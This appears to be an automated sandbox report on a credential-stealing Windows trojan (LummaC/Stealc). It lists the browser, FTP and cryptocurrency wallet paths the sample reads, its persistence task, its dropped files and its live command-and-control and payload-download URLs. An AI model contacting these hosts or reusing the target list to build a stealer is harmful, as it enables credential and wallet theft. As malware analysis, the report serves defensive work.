Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Directory queried: C:\Users\user\Documents			Jump to behavior

Source: Yara match	File source: 00000000.00000003.1838712812.0000000001091000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1838635354.000000000108C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: o0cabS0OQn.exe PID: 6836, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: o0cabS0OQn.exe PID: 6836, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2165224725.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2163510853.00000000006F1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E7IQS7PV5U0JQO6HRY65DRS.exe PID: 3916, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	12 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	225 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	961 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	451 Virtualization/Sandbox Evasion	DCSync	451 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
o0cabS0OQn.exe	55%	ReversingLabs	Win32.Trojan.Symmi
o0cabS0OQn.exe	100%	Avira	TR/Crypt.XPACK.Gen
o0cabS0OQn.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	57%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	57%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://185.215.113.43/Zu7JuNko/index.phpncoded	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeCZ	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpL	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php4	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php6	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/i	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apiz2s	100%	Avira URL Cloud	malware
http://185.215.113.16/~	0%	Avira URL Cloud	safe
https://mindhandru.buzz/ts	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeb	0%	Avira URL Cloud	safe
https://mindhandru.buzz/apiC	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apines	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpded	100%	Avira URL Cloud	malware
https://mindhandru.buzz:443/api%%	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mindhandru.buzz	172.67.165.185	true	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
scentniej.buzz	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/c4becf79229cb002.php/i	E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	o0cabS0OQn.exe, 00000000.00000003.1914665232.0000000001081000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpE	skotes.exe, 00000009.00000002.2936960867.000000000148E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/mine/random.exe	o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001027000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.2111198353.0000000001029000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1994718147.000000000108C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpi	E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000009.00000002.2936960867.000000000148E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	o0cabS0OQn.exe, 00000000.00000003.1788244288.000000000567B000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1788397217.000000000567B000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1766146853.000000000567B000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1766024007.0000000005682000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/pi	o0cabS0OQn.exe, 00000000.00000003.1995448463.000000000100C000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1914747251.000000000100C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpL	skotes.exe, 00000009.00000002.2936960867.0000000001478000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exeCZ	o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001036000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.2111198353.0000000001036000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/~	o0cabS0OQn.exe, 00000000.00000003.1994718147.000000000108C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php6	skotes.exe, 00000009.00000002.2936960867.000000000148E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/Q	E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php4	skotes.exe, 00000009.00000002.2936960867.0000000001478000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php8	skotes.exe, 00000009.00000002.2936960867.0000000001478000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/X	E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	o0cabS0OQn.exe, 00000000.00000003.1766146853.0000000005656000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/ts	o0cabS0OQn.exe, 00000000.00000003.1914747251.000000000100C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	o0cabS0OQn.exe, 00000000.00000003.1812497418.0000000005740000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/steam/random.exe	o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001027000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php$	E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apiz2s	o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001036000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.2111198353.0000000001036000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe	o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001027000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.2111198353.0000000001029000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/	o0cabS0OQn.exe, 00000000.00000003.1835605536.0000000005628000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	o0cabS0OQn.exe, 00000000.00000003.1788244288.000000000567B000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1788397217.000000000567B000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1766146853.000000000567B000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1766024007.0000000005682000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	o0cabS0OQn.exe, 00000000.00000003.1812497418.0000000005740000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php2	E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/d	o0cabS0OQn.exe, 00000000.00000003.1994718147.000000000108C000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1995429321.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	o0cabS0OQn.exe, 00000000.00000003.1994718147.000000000108C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/mine/random.exeb	o0cabS0OQn.exe, 00000000.00000003.1994718147.000000000108C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpD	E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apines	o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001036000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1914747251.0000000001036000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.microsof	o0cabS0OQn.exe, 00000000.00000003.1766024007.0000000005682000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apiC	o0cabS0OQn.exe, 00000000.00000003.1859231609.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 00000009.00000002.2936960867.000000000148E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz:443/api%%	o0cabS0OQn.exe, 00000000.00000003.1835605536.000000000562F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	o0cabS0OQn.exe, 00000000.00000003.1766146853.0000000005656000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206	E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.165.185	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581403
Start date and time:	2024-12-27 15:02:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	o0cabS0OQn.exe renamed because original name is a hash value
Original Sample Name:	80ef44e8078dd87d1399fc27fad67b01.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/4@1/4
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target E7IQS7PV5U0JQO6HRY65DRS.exe, PID 3916 because there are no executed function
Execution Graph export aborted for target o0cabS0OQn.exe, PID 6836 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: o0cabS0OQn.exe

Simulations

Behavior and APIs

Time	Type	Description
09:03:39	API Interceptor	165x Sleep call for process: o0cabS0OQn.exe modified
09:05:02	API Interceptor	401x Sleep call for process: skotes.exe modified
14:04:33	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
172.67.165.185	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse
	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	104.21.11.101
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	104.21.2.51
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
